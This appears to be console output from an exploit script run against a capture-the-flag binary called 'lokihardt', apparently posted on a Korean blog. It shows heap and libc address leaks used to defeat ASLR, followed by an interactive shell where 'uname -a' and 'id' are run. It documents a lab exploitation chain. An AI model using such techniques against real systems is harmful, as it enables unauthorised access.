[*] leak: b'XR\xc6\x9f\xb0U\x00\x00!\x01\x00\x00\x00\x00\x00\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00read\x00- menu -\n'
[*] leaked null address: 0x55b09fc65258
[*] obtained lokihardt base address: 0x55b09fc64000
[*] ArrayBuffer@bss: 0x55b09fe66080
[*] write@ro: 0x55b09fc6461c
[*] read@ro: 0x55b09fc64623
[*] leak: b'\x00\x00\x00\x00\x00\x00\x00\x00\x08\xf7\xdd\xf8\xd1\x7f\x00\x00\xa0\x96\xa8\xf8\xd1\x7f\x00\x00\xb0\x81\xa8\xf8\xd1\x7f\x00\x00\x10\xf7\xdd\xf8\xd1\x7f\x00\x00\xf01\xb3\xf8\xd1\x7f\x00\x00\x10\xf8\xa6\xf8\xd1\x7f\x00\x00p\xca\xb8\xf8\xd1\x7f\x00\x00\x80b\xae\xf8\xd1\x7f\x00\x00P\x13\xb1\xf8\xd1\x7f\x00\x00P\xa7\xa3\xf8\xd1\x7f\x00\x00\xe0H\xa5\xf8\xd1\x7f\x00\x00\xf0\x95\xab\xf8\xd1\x7f\x00\x00p\x01\xa9\xf8\xd1\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\xe1\xa9\xf8\xd1\x7f\x00\x00\x80\x9e\xa8\xf8\xd1\x7f\x00\x000\x11\xb1\xf8\xd1\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0T\xa8\xf8\xd1\x7f\x00\x00@@\xa5\xf8\xd1\x7f\x00\x00\xf0\x86\xa8\xf8\xd1\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0B\xa5\xf8\xd1\x7f\x00\x00pO\xa5\xf8\xd1\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08`\xe6\x9f\xb0U\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00- menu -\n'
[*] leaked libc stdout addr: 0x7fd1f8ddf708
[*] obtained libc base address: 0x7fd1f8a1a000
[*] Switching to interactive mode
$ uname -a
Linux ubuntu 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
$ id
uid=1000(seo) gid=1000(seo) groups=1000(seo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),114(lpadmin),115(sambashare)
태그: